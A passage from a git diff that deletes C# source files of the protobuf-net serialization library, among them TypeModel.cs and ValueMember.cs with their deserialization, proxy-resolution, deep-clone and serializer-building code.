reader.ReadFieldHeader(); - if (fieldNumber <= 0) break; - if (fieldNumber != tag) - { - if (skipOtherFields) - { - reader.SkipField(); - continue; - } - throw ProtoReader.AddErrorData(new InvalidOperationException( - "Expected field " + tag.ToString() + ", but found " + fieldNumber.ToString()), reader); - } - found = true; - reader.Hint(wiretype); // handle signed data etc - - if (modelKey >= 0) - { - switch (wiretype) - { - case WireType.String: - case WireType.StartGroup: - SubItemToken token = ProtoReader.StartSubItem(reader); - value = Deserialize(modelKey, value, reader); - ProtoReader.EndSubItem(token, reader); - continue; - default: - value = Deserialize(modelKey, value, reader); - continue; - } - } - switch (typecode) - { - case ProtoTypeCode.Int16: - value = reader.ReadInt16(); - continue; - case ProtoTypeCode.Int32: - value = reader.ReadInt32(); - continue; - case ProtoTypeCode.Int64: - value = reader.ReadInt64(); - continue; - case ProtoTypeCode.UInt16: - value = reader.ReadUInt16(); - continue; - case ProtoTypeCode.UInt32: - value = reader.ReadUInt32(); - continue; - case ProtoTypeCode.UInt64: - value = reader.ReadUInt64(); - continue; - case ProtoTypeCode.Boolean: - value = reader.ReadBoolean(); - continue; - case ProtoTypeCode.SByte: - value = reader.ReadSByte(); - continue; - case ProtoTypeCode.Byte: - value = reader.ReadByte(); - continue; - case ProtoTypeCode.Char: - value = (char) reader.ReadUInt16(); - continue; - case ProtoTypeCode.Double: - value = reader.ReadDouble(); - continue; - case ProtoTypeCode.Single: - value = reader.ReadSingle(); - continue; - case ProtoTypeCode.DateTime: - value = BclHelpers.ReadDateTime(reader); - continue; - case ProtoTypeCode.Decimal: - value = BclHelpers.ReadDecimal(reader); - continue; - case ProtoTypeCode.String: - value = reader.ReadString(); - continue; - case ProtoTypeCode.ByteArray: - value = ProtoReader.AppendBytes((byte[]) value, reader); - continue; - case ProtoTypeCode.TimeSpan: - value = BclHelpers.ReadTimeSpan(reader); - continue; - case ProtoTypeCode.Guid: - value = BclHelpers.ReadGuid(reader); - continue; - case ProtoTypeCode.Uri: - value = new Uri(reader.ReadString()); - continue; - } - } - if (!found && !asListItem && autoCreate) - { - if (type != typeof (string)) - { - value = Activator.CreateInstance(type); - } - } - return found; - } -#endif - -#if !NO_RUNTIME - /// - /// Creates a new runtime model, to which the caller - /// can add support for a range of types. A model - /// can be used "as is", or can be compiled for - /// optimal performance. - /// - public static RuntimeTypeModel Create() - { - return new RuntimeTypeModel(false); - } -#endif - - /// - /// Applies common proxy scenarios, resolving the actual type to consider - /// - protected internal static Type ResolveProxies(Type type) - { - if (type == null) return null; -#if !NO_GENERICS - if (type.IsGenericParameter) return null; - // Nullable - Type tmp = Helpers.GetUnderlyingType(type); - if (tmp != null) return tmp; -#endif - -#if !(WINRT || CF) - // EF POCO - string fullName = type.FullName; - if (fullName != null && fullName.StartsWith("System.Data.Entity.DynamicProxies.")) return type.BaseType; - - // NHibernate - Type[] interfaces = type.GetInterfaces(); - for (int i = 0; i < interfaces.Length; i++) - { - switch (interfaces[i].FullName) - { - case "NHibernate.Proxy.INHibernateProxy": - case "NHibernate.Proxy.DynamicProxy.IProxy": - case "NHibernate.Intercept.IFieldInterceptorAccessor": - return type.BaseType; - } - } -#endif - return null; - } - - /// - /// Indicates whether the supplied type is explicitly modelled by the model - /// - public bool IsDefined(Type type) - { - return GetKey(ref type) >= 0; - } - - /// - /// Provides the key that represents a given type in the current model. - /// The type is also normalized for proxies at the same time. - /// - protected internal int GetKey(ref Type type) - { - if (type == null) return -1; - int key = GetKeyImpl(type); - if (key < 0) - { - Type normalized = ResolveProxies(type); - if (normalized != null) - { - type = normalized; // hence ref - key = GetKeyImpl(type); - } - } - return key; - } - - /// - /// Provides the key that represents a given type in the current model. - /// - protected abstract int GetKeyImpl(Type type); - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream. - /// - /// Represents the type (including inheritance) to consider. - /// The existing instance to be serialized (cannot be null). - /// The destination stream to write to. - protected internal abstract void Serialize(int key, object value, ProtoWriter dest); - - /// - /// Applies a protocol-buffer stream to an existing instance (which may be null). - /// - /// Represents the type (including inheritance) to consider. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - protected internal abstract object Deserialize(int key, object value, ProtoReader source); - - //internal ProtoSerializer Create(IProtoSerializer head) - //{ - // return new RuntimeSerializer(head, this); - //} - //internal ProtoSerializer Compile - - /// - /// Indicates the type of callback to be used - /// - protected internal enum CallbackType - { - /// - /// Invoked before an object is serialized - /// - BeforeSerialize, - - /// - /// Invoked after an object is serialized - /// - AfterSerialize, - - /// - /// Invoked before an object is deserialized (or when a new instance is created) - /// - BeforeDeserialize, - - /// - /// Invoked after an object is deserialized - /// - AfterDeserialize - } - - /// - /// Create a deep clone of the supplied instance; any sub-items are also cloned. - /// - public object DeepClone(object value) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - if (value == null) return null; - Type type = value.GetType(); - int key = GetKey(ref type); - - if (key >= 0 && !Helpers.IsEnum(type)) - { - using (MemoryStream ms = new MemoryStream()) - { - using (ProtoWriter writer = new ProtoWriter(ms, this, null)) - { - writer.SetRootObject(value); - Serialize(key, value, writer); - writer.Close(); - } - ms.Position = 0; - ProtoReader reader = null; - try - { - reader = ProtoReader.Create(ms, this, null, ProtoReader.TO_EOF); - return Deserialize(key, null, reader); - } - finally - { - ProtoReader.Recycle(reader); - } - } - } - int modelKey; - if (type == typeof (byte[])) - { - byte[] orig = (byte[]) value, clone = new byte[orig.Length]; - Helpers.BlockCopy(orig, 0, clone, 0, orig.Length); - return clone; - } - else if (GetWireType(Helpers.GetTypeCode(type), DataFormat.Default, ref type, out modelKey) != WireType.None && - modelKey < 0) - { - // immutable; just return the original value - return value; - } - using (MemoryStream ms = new MemoryStream()) - { - using (ProtoWriter writer = new ProtoWriter(ms, this, null)) - { - if ( - !TrySerializeAuxiliaryType(writer, type, DataFormat.Default, Serializer.ListItemTag, value, - false)) ThrowUnexpectedType(type); - writer.Close(); - } - ms.Position = 0; - ProtoReader reader = null; - try - { - reader = ProtoReader.Create(ms, this, null, ProtoReader.TO_EOF); - value = null; // start from scratch! - TryDeserializeAuxiliaryType(reader, DataFormat.Default, Serializer.ListItemTag, type, ref value, - true, false, true, false); - return value; - } - finally - { - ProtoReader.Recycle(reader); - } - } -#endif - } - - /// - /// Indicates that while an inheritance tree exists, the exact type encountered was not - /// specified in that hierarchy and cannot be processed. - /// - protected internal static void ThrowUnexpectedSubtype(Type expected, Type actual) - { - if (expected != TypeModel.ResolveProxies(actual)) - { - throw new InvalidOperationException("Unexpected sub-type: " + actual.FullName); - } - } - - /// - /// Indicates that the given type was not expected, and cannot be processed. - /// - protected internal static void ThrowUnexpectedType(Type type) - { - string fullName = type == null ? "(unknown)" : type.FullName; -#if !NO_GENERICS && !WINRT - if (type != null) - { - Type baseType = type.BaseType; - if (baseType != null && baseType.IsGenericType && - baseType.GetGenericTypeDefinition().Name == "GeneratedMessage`2") - { - throw new InvalidOperationException( - "Are you mixing protobuf-net and protobuf-csharp-port? See http://stackoverflow.com/q/11564914; type: " + - fullName); - } - } -#endif - throw new InvalidOperationException("Type is not expected, and no contract can be inferred: " + fullName); - } - - internal static Exception CreateNestedListsNotSupported() - { - return new NotSupportedException("Nested or jagged lists and arrays are not supported"); - } - - /// - /// Indicates that the given type cannot be constructed; it may still be possible to - /// deserialize into existing instances. - /// - public static void ThrowCannotCreateInstance(Type type) - { - throw new ProtoException("No parameterless constructor found for " + (type == null ? "(null)" : type.Name)); - } - - internal static string SerializeType(TypeModel model, System.Type type) - { - if (model != null) - { - TypeFormatEventHandler handler = model.DynamicTypeFormatting; - if (handler != null) - { - TypeFormatEventArgs args = new TypeFormatEventArgs(type); - handler(model, args); - if (!Helpers.IsNullOrEmpty(args.FormattedName)) return args.FormattedName; - } - } - return type.AssemblyQualifiedName; - } - - internal static System.Type DeserializeType(TypeModel model, string value) - { - if (model != null) - { - TypeFormatEventHandler handler = model.DynamicTypeFormatting; - if (handler != null) - { - TypeFormatEventArgs args = new TypeFormatEventArgs(value); - handler(model, args); - if (args.Type != null) return args.Type; - } - } - return System.Type.GetType(value); - } - - /// - /// Returns true if the type supplied is either a recognised contract type, - /// or a *list* of a recognised contract type. - /// - /// Note that primitives always return false, even though the engine - /// will, if forced, try to serialize such - /// True if this type is recognised as a serializable entity, else false - public bool CanSerializeContractType(Type type) - { - return CanSerialize(type, false, true, true); - } - - /// - /// Returns true if the type supplied is a basic type with inbuilt handling, - /// a recognised contract type, or a *list* of a basic / contract type. - /// - public bool CanSerialize(Type type) - { - return CanSerialize(type, true, true, true); - } - - /// - /// Returns true if the type supplied is a basic type with inbuilt handling, - /// or a *list* of a basic type with inbuilt handling - /// - public bool CanSerializeBasicType(Type type) - { - return CanSerialize(type, true, false, true); - } - - private bool CanSerialize(Type type, bool allowBasic, bool allowContract, bool allowLists) - { - if (type == null) throw new ArgumentNullException("type"); - Type tmp = Helpers.GetUnderlyingType(type); - if (tmp != null) type = tmp; - - // is it a basic type? - ProtoTypeCode typeCode = Helpers.GetTypeCode(type); - switch (typeCode) - { - case ProtoTypeCode.Empty: - case ProtoTypeCode.Unknown: - break; - default: - return allowBasic; // well-known basic type - } - int modelKey = GetKey(ref type); - if (modelKey >= 0) return allowContract; // known contract type - - // is it a list? - if (allowLists) - { - Type itemType = null; - if (type.IsArray) - { - // note we don't need to exclude byte[], as that is handled by GetTypeCode already - if (type.GetArrayRank() == 1) itemType = type.GetElementType(); - } - else - { - itemType = GetListItemType(this, type); - } - if (itemType != null) return CanSerialize(itemType, allowBasic, allowContract, false); - } - return false; - } - - /// - /// Suggest a .proto definition for the given type - /// - /// The type to generate a .proto definition for, or null to generate a .proto that represents the entire model - /// The .proto definition as a string - public virtual string GetSchema(Type type) - { - throw new NotSupportedException(); - } - - /// - /// Used to provide custom services for writing and parsing type names when using dynamic types. Both parsing and formatting - /// are provided on a single API as it is essential that both are mapped identically at all times. - /// - public event TypeFormatEventHandler DynamicTypeFormatting; - -#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) - /// - /// Creates a new IFormatter that uses protocol-buffer [de]serialization. - /// - /// A new IFormatter to be used during [de]serialization. - /// The type of object to be [de]deserialized by the formatter. - public System.Runtime.Serialization.IFormatter CreateFormatter(Type type) - { - return new Formatter(this, type); - } - - internal sealed class Formatter : System.Runtime.Serialization.IFormatter - { - private readonly TypeModel model; - private readonly Type type; - internal Formatter(TypeModel model, Type type) - { - if (model == null) throw new ArgumentNullException("model"); - if (type == null) throw new ArgumentNullException("type"); - this.model = model; - this.type = type; - } - private System.Runtime.Serialization.SerializationBinder binder; - public System.Runtime.Serialization.SerializationBinder Binder - { - get { return binder; } - set { binder = value; } - } - - private System.Runtime.Serialization.StreamingContext context; - public System.Runtime.Serialization.StreamingContext Context - { - get { return context; } - set { context = value; } - } - - public object Deserialize(Stream source) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - return model.Deserialize(source, null, type, -1, Context); -#endif - } - - public void Serialize(Stream destination, object graph) - { - model.Serialize(destination, graph, Context); - } - - private System.Runtime.Serialization.ISurrogateSelector surrogateSelector; - public System.Runtime.Serialization.ISurrogateSelector SurrogateSelector - { - get { return surrogateSelector; } - set { surrogateSelector = value; } - } - } -#endif - -#if DEBUG // this is used by some unit tests only, to ensure no buffering when buffering is disabled - private bool forwardsOnly; - - /// - /// If true, buffering of nested objects is disabled - /// - public bool ForwardsOnly - { - get { return forwardsOnly; } - set { forwardsOnly = value; } - } -#endif - - internal virtual Type GetType(string fullName, Assembly context) - { -#if FEAT_IKVM - throw new NotImplementedException(); -#else - return ResolveKnownType(fullName, this, context); -#endif - } - - [System.Runtime.CompilerServices.MethodImpl(System.Runtime.CompilerServices.MethodImplOptions.NoInlining)] - internal static Type ResolveKnownType(string name, TypeModel model, Assembly assembly) - { - if (Helpers.IsNullOrEmpty(name)) return null; - try - { -#if FEAT_IKVM - // looks like a NullReferenceException, but this should call into RuntimeTypeModel's version - Type type = model == null ? null : model.GetType(name, assembly); -#else - Type type = Type.GetType(name); -#endif - if (type != null) return type; - } - catch - { - } - try - { - int i = name.IndexOf(','); - string fullName = (i > 0 ? name.Substring(0, i) : name).Trim(); -#if !(WINRT || FEAT_IKVM) - if (assembly == null) assembly = Assembly.GetCallingAssembly(); -#endif - Type type = assembly == null ? null : assembly.GetType(fullName); - if (type != null) return type; - } - catch - { - } - return null; - } - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Meta/ValueMember.cs b/Server/Core/ProtoBuf/Meta/ValueMember.cs deleted file mode 100644 index 43755e4e..00000000 --- a/Server/Core/ProtoBuf/Meta/ValueMember.cs +++ /dev/null @@ -1,734 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Serializers; -using System.Globalization; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Meta -{ - /// - /// Represents a member (property/field) that is mapped to a protobuf field - /// - public class ValueMember - { - private readonly int fieldNumber; - - /// - /// The number that identifies this member in a protobuf stream - /// - public int FieldNumber - { - get { return fieldNumber; } - } - - private readonly MemberInfo member; - - /// - /// Gets the member (field/property) which this member relates to. - /// - public MemberInfo Member - { - get { return member; } - } - - private readonly Type parentType, itemType, defaultType, memberType; - private object defaultValue; - - /// - /// Within a list / array / etc, the type of object for each item in the list (especially useful with ArrayList) - /// - public Type ItemType - { - get { return itemType; } - } - - /// - /// The underlying type of the member - /// - public Type MemberType - { - get { return memberType; } - } - - /// - /// For abstract types (IList etc), the type of concrete object to create (if required) - /// - public Type DefaultType - { - get { return defaultType; } - } - - /// - /// The type the defines the member - /// - public Type ParentType - { - get { return parentType; } - } - - /// - /// The default value of the item (members with this value will not be serialized) - /// - public object DefaultValue - { - get { return defaultValue; } - set - { - ThrowIfFrozen(); - defaultValue = value; - } - } - - private readonly RuntimeTypeModel model; - - /// - /// Creates a new ValueMember instance - /// - public ValueMember(RuntimeTypeModel model, Type parentType, int fieldNumber, MemberInfo member, Type memberType, - Type itemType, Type defaultType, DataFormat dataFormat, object defaultValue) - : this(model, fieldNumber, memberType, itemType, defaultType, dataFormat) - { - if (member == null) throw new ArgumentNullException("member"); - if (parentType == null) throw new ArgumentNullException("parentType"); - if (fieldNumber < 1 && !Helpers.IsEnum(parentType)) throw new ArgumentOutOfRangeException("fieldNumber"); - - this.member = member; - this.parentType = parentType; - if (fieldNumber < 1 && !Helpers.IsEnum(parentType)) throw new ArgumentOutOfRangeException("fieldNumber"); -//#if WINRT - if (defaultValue != null && model.MapType(defaultValue.GetType()) != memberType) -//#else -// if (defaultValue != null && !memberType.IsInstanceOfType(defaultValue)) -//#endif - { - defaultValue = ParseDefaultValue(memberType, defaultValue); - } - this.defaultValue = defaultValue; - - MetaType type = model.FindWithoutAdd(memberType); - if (type != null) - { - this.asReference = type.AsReferenceDefault; - } - else - { - // we need to scan the hard way; can't risk recursion by fully walking it - this.asReference = MetaType.GetAsReferenceDefault(model, memberType); - } - } - - /// - /// Creates a new ValueMember instance - /// - internal ValueMember(RuntimeTypeModel model, int fieldNumber, Type memberType, Type itemType, Type defaultType, - DataFormat dataFormat) - { - if (memberType == null) throw new ArgumentNullException("memberType"); - if (model == null) throw new ArgumentNullException("model"); - this.fieldNumber = fieldNumber; - this.memberType = memberType; - this.itemType = itemType; - this.defaultType = defaultType; - - this.model = model; - this.dataFormat = dataFormat; - } - - internal object GetRawEnumValue() - { -#if WINRT || PORTABLE || CF || FX11 - object value = ((FieldInfo)member).GetValue(null); - switch(Helpers.GetTypeCode(Enum.GetUnderlyingType(((FieldInfo)member).FieldType))) - { - case ProtoTypeCode.SByte: return (sbyte)value; - case ProtoTypeCode.Byte: return (byte)value; - case ProtoTypeCode.Int16: return (short)value; - case ProtoTypeCode.UInt16: return (ushort)value; - case ProtoTypeCode.Int32: return (int)value; - case ProtoTypeCode.UInt32: return (uint)value; - case ProtoTypeCode.Int64: return (long)value; - case ProtoTypeCode.UInt64: return (ulong)value; - default: - throw new InvalidOperationException(); - } -#else - return ((FieldInfo) member).GetRawConstantValue(); -#endif - } - - private static object ParseDefaultValue(Type type, object value) - { - Type tmp = Helpers.GetUnderlyingType(type); - if (tmp != null) type = tmp; - - if (value is string) - { - string s = (string) value; - if (Helpers.IsEnum(type)) return Helpers.ParseEnum(type, s); - - switch (Helpers.GetTypeCode(type)) - { - case ProtoTypeCode.Boolean: - return bool.Parse(s); - case ProtoTypeCode.Byte: - return byte.Parse(s, NumberStyles.Integer, CultureInfo.InvariantCulture); - case ProtoTypeCode.Char: // char.Parse missing on CF/phone7 - if (s.Length == 1) return s[0]; - throw new FormatException("Single character expected: \"" + s + "\""); - case ProtoTypeCode.DateTime: - return DateTime.Parse(s, CultureInfo.InvariantCulture); - case ProtoTypeCode.Decimal: - return decimal.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture); - case ProtoTypeCode.Double: - return double.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture); - case ProtoTypeCode.Int16: - return short.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture); - case ProtoTypeCode.Int32: - return int.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture); - case ProtoTypeCode.Int64: - return long.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture); - case ProtoTypeCode.SByte: - return sbyte.Parse(s, NumberStyles.Integer, CultureInfo.InvariantCulture); - case ProtoTypeCode.Single: - return float.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture); - case ProtoTypeCode.String: - return s; - case ProtoTypeCode.UInt16: - return ushort.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture); - case ProtoTypeCode.UInt32: - return uint.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture); - case ProtoTypeCode.UInt64: - return ulong.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture); - case ProtoTypeCode.TimeSpan: - return TimeSpan.Parse(s); - case ProtoTypeCode.Uri: - return s; // Uri is decorated as string - case ProtoTypeCode.Guid: - return new Guid(s); - } - } -#if FEAT_IKVM - if (Helpers.IsEnum(type)) return value; // return the underlying type instead - System.Type convertType = null; - switch(Helpers.GetTypeCode(type)) - { - case ProtoTypeCode.SByte: convertType = typeof(sbyte); break; - case ProtoTypeCode.Int16: convertType = typeof(short); break; - case ProtoTypeCode.Int32: convertType = typeof(int); break; - case ProtoTypeCode.Int64: convertType = typeof(long); break; - case ProtoTypeCode.Byte: convertType = typeof(byte); break; - case ProtoTypeCode.UInt16: convertType = typeof(ushort); break; - case ProtoTypeCode.UInt32: convertType = typeof(uint); break; - case ProtoTypeCode.UInt64: convertType = typeof(ulong); break; - case ProtoTypeCode.Single: convertType = typeof(float); break; - case ProtoTypeCode.Double: convertType = typeof(double); break; - case ProtoTypeCode.Decimal: convertType = typeof(decimal); break; - } - if(convertType != null) return Convert.ChangeType(value, convertType, CultureInfo.InvariantCulture); - throw new ArgumentException("Unable to process default value: " + value + ", " + type.FullName); -#else - if (Helpers.IsEnum(type)) return Enum.ToObject(type, value); - return Convert.ChangeType(value, type, CultureInfo.InvariantCulture); -#endif - } - - private IProtoSerializer serializer; - - internal IProtoSerializer Serializer - { - get - { - if (serializer == null) serializer = BuildSerializer(); - return serializer; - } - } - - private DataFormat dataFormat; - - /// - /// Specifies the rules used to process the field; this is used to determine the most appropriate - /// wite-type, but also to describe subtypes within that wire-type (such as SignedVariant) - /// - public DataFormat DataFormat - { - get { return dataFormat; } - set - { - ThrowIfFrozen(); - this.dataFormat = value; - } - } - - /// - /// Indicates whether this field should follow strict encoding rules; this means (for example) that if a "fixed32" - /// is encountered when "variant" is defined, then it will fail (throw an exception) when parsing. Note that - /// when serializing the defined type is always used. - /// - public bool IsStrict - { - get { return HasFlag(OPTIONS_IsStrict); } - set { SetFlag(OPTIONS_IsStrict, value, true); } - } - - /// - /// Indicates whether this field should use packed encoding (which can save lots of space for repeated primitive values). - /// This option only applies to list/array data of primitive types (int, double, etc). - /// - public bool IsPacked - { - get { return HasFlag(OPTIONS_IsPacked); } - set { SetFlag(OPTIONS_IsPacked, value, true); } - } - - /// - /// Indicates whether this field should *repace* existing values (the default is false, meaning *append*). - /// This option only applies to list/array data. - /// - public bool OverwriteList - { - get { return HasFlag(OPTIONS_OverwriteList); } - set { SetFlag(OPTIONS_OverwriteList, value, true); } - } - - /// - /// Indicates whether this field is mandatory. - /// - public bool IsRequired - { - get { return HasFlag(OPTIONS_IsRequired); } - set { SetFlag(OPTIONS_IsRequired, value, true); } - } - - private bool asReference; - - /// - /// Enables full object-tracking/full-graph support. - /// - public bool AsReference - { - get { return asReference; } - set - { - ThrowIfFrozen(); - asReference = value; - } - } - - private bool dynamicType; - - /// - /// Embeds the type information into the stream, allowing usage with types not known in advance. - /// - public bool DynamicType - { - get { return dynamicType; } - set - { - ThrowIfFrozen(); - dynamicType = value; - } - } - - private MethodInfo getSpecified, setSpecified; - - /// - /// Specifies methods for working with optional data members. - /// - /// Provides a method (null for none) to query whether this member should - /// be serialized; it must be of the form "bool {Method}()". The member is only serialized if the - /// method returns true. - /// Provides a method (null for none) to indicate that a member was - /// deserialized; it must be of the form "void {Method}(bool)", and will be called with "true" - /// when data is found. - public void SetSpecified(MethodInfo getSpecified, MethodInfo setSpecified) - { - if (getSpecified != null) - { - if (getSpecified.ReturnType != model.MapType(typeof (bool)) - || getSpecified.IsStatic - || getSpecified.GetParameters().Length != 0) - { - throw new ArgumentException("Invalid pattern for checking member-specified", "getSpecified"); - } - } - if (setSpecified != null) - { - ParameterInfo[] args; - if (setSpecified.ReturnType != model.MapType(typeof (void)) - || setSpecified.IsStatic - || (args = setSpecified.GetParameters()).Length != 1 - || args[0].ParameterType != model.MapType(typeof (bool))) - { - throw new ArgumentException("Invalid pattern for setting member-specified", "setSpecified"); - } - } - ThrowIfFrozen(); - this.getSpecified = getSpecified; - this.setSpecified = setSpecified; - } - - private void ThrowIfFrozen() - { - if (serializer != null) - throw new InvalidOperationException("The type cannot be changed once a serializer has been generated"); - } - - private IProtoSerializer BuildSerializer() - { - int opaqueToken = 0; - try - { - model.TakeLock(ref opaqueToken); // check nobody is still adding this type - WireType wireType; - Type finalType = itemType == null ? memberType : itemType; - IProtoSerializer ser = TryGetCoreSerializer(model, dataFormat, finalType, out wireType, asReference, - dynamicType, OverwriteList, true); - if (ser == null) - { - throw new InvalidOperationException("No serializer defined for type: " + finalType.FullName); - } - - // apply tags - if (itemType != null && SupportNull) - { - if (IsPacked) - { - throw new NotSupportedException("Packed encodings cannot support null values"); - } - ser = new TagDecorator(NullDecorator.Tag, wireType, IsStrict, ser); - ser = new NullDecorator(model, ser); - ser = new TagDecorator(fieldNumber, WireType.StartGroup, false, ser); - } - else - { - ser = new TagDecorator(fieldNumber, wireType, IsStrict, ser); - } - // apply lists if appropriate - if (itemType != null) - { -#if NO_GENERICS - Type underlyingItemType = itemType; -#else - Type underlyingItemType = SupportNull ? itemType : Helpers.GetUnderlyingType(itemType) ?? itemType; -#endif - Helpers.DebugAssert(underlyingItemType == ser.ExpectedType, - "Wrong type in the tail; expected {0}, received {1}", ser.ExpectedType, underlyingItemType); - if (memberType.IsArray) - { - ser = new ArrayDecorator(model, ser, fieldNumber, IsPacked, wireType, memberType, OverwriteList, - SupportNull); - } - else - { - ser = ListDecorator.Create(model, memberType, defaultType, ser, fieldNumber, IsPacked, wireType, - member != null && PropertyDecorator.CanWrite(model, member), OverwriteList, SupportNull); - } - } - else if (defaultValue != null && !IsRequired && getSpecified == null) - { - // note: "ShouldSerialize*" / "*Specified" / etc ^^^^ take precedence over defaultValue, - // as does "IsRequired" - ser = new DefaultValueDecorator(model, defaultValue, ser); - } - if (memberType == model.MapType(typeof (Uri))) - { - ser = new UriDecorator(model, ser); - } - if (member != null) - { - PropertyInfo prop = member as PropertyInfo; - if (prop != null) - { - ser = new PropertyDecorator(model, parentType, (PropertyInfo) member, ser); - } - else - { - FieldInfo fld = member as FieldInfo; - if (fld != null) - { - ser = new FieldDecorator(parentType, (FieldInfo) member, ser); - } - else - { - throw new InvalidOperationException(); - } - } - if (getSpecified != null || setSpecified != null) - { - ser = new MemberSpecifiedDecorator(getSpecified, setSpecified, ser); - } - } - return ser; - } - finally - { - model.ReleaseLock(opaqueToken); - } - } - - private static WireType GetIntWireType(DataFormat format, int width) - { - switch (format) - { - case DataFormat.ZigZag: - return WireType.SignedVariant; - case DataFormat.FixedSize: - return width == 32 ? WireType.Fixed32 : WireType.Fixed64; - case DataFormat.TwosComplement: - case DataFormat.Default: - return WireType.Variant; - default: - throw new InvalidOperationException(); - } - } - - private static WireType GetDateTimeWireType(DataFormat format) - { - switch (format) - { - case DataFormat.Group: - return WireType.StartGroup; - case DataFormat.FixedSize: - return WireType.Fixed64; - case DataFormat.Default: - return WireType.String; - default: - throw new InvalidOperationException(); - } - } - - internal static IProtoSerializer TryGetCoreSerializer(RuntimeTypeModel model, DataFormat dataFormat, Type type, - out WireType defaultWireType, - bool asReference, bool dynamicType, bool overwriteList, bool allowComplexTypes) - { -#if !NO_GENERICS - { - Type tmp = Helpers.GetUnderlyingType(type); - if (tmp != null) type = tmp; - } -#endif - if (Helpers.IsEnum(type)) - { - if (allowComplexTypes && model != null) - { - // need to do this before checking the typecode; an int enum will report Int32 etc - defaultWireType = WireType.Variant; - return new EnumSerializer(type, model.GetEnumMap(type)); - } - else - { - // enum is fine for adding as a meta-type - defaultWireType = WireType.None; - return null; - } - } - ProtoTypeCode code = Helpers.GetTypeCode(type); - switch (code) - { - case ProtoTypeCode.Int32: - defaultWireType = GetIntWireType(dataFormat, 32); - return new Int32Serializer(model); - case ProtoTypeCode.UInt32: - defaultWireType = GetIntWireType(dataFormat, 32); - return new UInt32Serializer(model); - case ProtoTypeCode.Int64: - defaultWireType = GetIntWireType(dataFormat, 64); - return new Int64Serializer(model); - case ProtoTypeCode.UInt64: - defaultWireType = GetIntWireType(dataFormat, 64); - return new UInt64Serializer(model); - case ProtoTypeCode.String: - defaultWireType = WireType.String; - if (asReference) - { - return new NetObjectSerializer(model, model.MapType(typeof (string)), 0, - BclHelpers.NetObjectOptions.AsReference); - } - return new StringSerializer(model); - case ProtoTypeCode.Single: - defaultWireType = WireType.Fixed32; - return new SingleSerializer(model); - case ProtoTypeCode.Double: - defaultWireType = WireType.Fixed64; - return new DoubleSerializer(model); - case ProtoTypeCode.Boolean: - defaultWireType = WireType.Variant; - return new BooleanSerializer(model); - case ProtoTypeCode.DateTime: - defaultWireType = GetDateTimeWireType(dataFormat); - return new DateTimeSerializer(model); - case ProtoTypeCode.Decimal: - defaultWireType = WireType.String; - return new DecimalSerializer(model); - case ProtoTypeCode.Byte: - defaultWireType = GetIntWireType(dataFormat, 32); - return new ByteSerializer(model); - case ProtoTypeCode.SByte: - defaultWireType = GetIntWireType(dataFormat, 32); - return new SByteSerializer(model); - case ProtoTypeCode.Char: - defaultWireType = WireType.Variant; - return new CharSerializer(model); - case ProtoTypeCode.Int16: - defaultWireType = GetIntWireType(dataFormat, 32); - return new Int16Serializer(model); - case ProtoTypeCode.UInt16: - defaultWireType = GetIntWireType(dataFormat, 32); - return new UInt16Serializer(model); - case ProtoTypeCode.TimeSpan: - defaultWireType = GetDateTimeWireType(dataFormat); - return new TimeSpanSerializer(model); - case ProtoTypeCode.Guid: - defaultWireType = WireType.String; - return new GuidSerializer(model); - case ProtoTypeCode.Uri: - defaultWireType = WireType.String; - return new StringSerializer(model); // treat as string; wrapped in decorator later - case ProtoTypeCode.ByteArray: - defaultWireType = WireType.String; - return new BlobSerializer(model, overwriteList); - case ProtoTypeCode.Type: - defaultWireType = WireType.String; - return new SystemTypeSerializer(model); - } - IProtoSerializer parseable = model.AllowParseableTypes ? ParseableSerializer.TryCreate(type, model) : null; - if (parseable != null) - { - defaultWireType = WireType.String; - return parseable; - } - if (allowComplexTypes && model != null) - { - int key = model.GetKey(type, false, true); - if (asReference || dynamicType) - { - defaultWireType = dataFormat == DataFormat.Group ? WireType.StartGroup : WireType.String; - BclHelpers.NetObjectOptions options = BclHelpers.NetObjectOptions.None; - if (asReference) options |= BclHelpers.NetObjectOptions.AsReference; - if (dynamicType) options |= BclHelpers.NetObjectOptions.DynamicType; - if (key >= 0) - { - // exists - if (asReference && Helpers.IsValueType(type)) - { - string message = "AsReference cannot be used with value-types"; - - if (type.Name == "KeyValuePair`2") - { - message += "; please see http://stackoverflow.com/q/14436606/"; - } - else - { - message += ": " + type.FullName; - } - throw new InvalidOperationException(message); - } - MetaType meta = model[type]; - if (asReference && meta.IsAutoTuple) options |= BclHelpers.NetObjectOptions.LateSet; - if (meta.UseConstructor) options |= BclHelpers.NetObjectOptions.UseConstructor; - } - return new NetObjectSerializer(model, type, key, options); - } - if (key >= 0) - { - defaultWireType = dataFormat == DataFormat.Group ? WireType.StartGroup : WireType.String; - return new SubItemSerializer(type, key, model[type], true); - } - } - defaultWireType = WireType.None; - return null; - } - - - private string name; - - internal void SetName(string name) - { - ThrowIfFrozen(); - this.name = name; - } - - /// - /// Gets the logical name for this member in the schema (this is not critical for binary serialization, but may be used - /// when inferring a schema). - /// - public string Name - { - get { return Helpers.IsNullOrEmpty(name) ? member.Name : name; } - } - - private const byte - OPTIONS_IsStrict = 1, - OPTIONS_IsPacked = 2, - OPTIONS_IsRequired = 4, - OPTIONS_OverwriteList = 8, - OPTIONS_SupportNull = 16; - - private byte flags; - - private bool HasFlag(byte flag) - { - return (flags & flag) == flag; - } - - private void SetFlag(byte flag, bool value, bool throwIfFrozen) - { - if (throwIfFrozen && HasFlag(flag) != value) - { - ThrowIfFrozen(); - } - if (value) - flags |= flag; 